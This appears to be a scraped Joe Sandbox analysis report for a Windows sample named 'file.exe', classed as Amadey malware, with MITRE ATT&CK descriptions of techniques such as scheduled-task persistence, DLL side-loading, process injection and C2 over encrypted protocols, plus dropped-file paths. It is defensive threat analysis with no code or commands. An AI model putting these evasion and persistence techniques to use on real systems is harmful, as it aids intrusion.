Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

C:\Windows\Tasks\axplong.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
file.exe

Function 00F8BD60 Relevance: 19.6, APIs: 5, Strings: 6, Instructions: 310
networkfileCOMMON

Function 00F865B0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Function 00F85DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Function 00F87D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Function 00FB6E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Function 00FBD4F4 Relevance: 1.7, APIs: 1, Instructions: 198
COMMONLIBRARYCODE

Function 00F882B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Function 00FB6C99 Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Function 00FB6F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Function 00FBD6EF Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMON

Function 00F96AE0 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON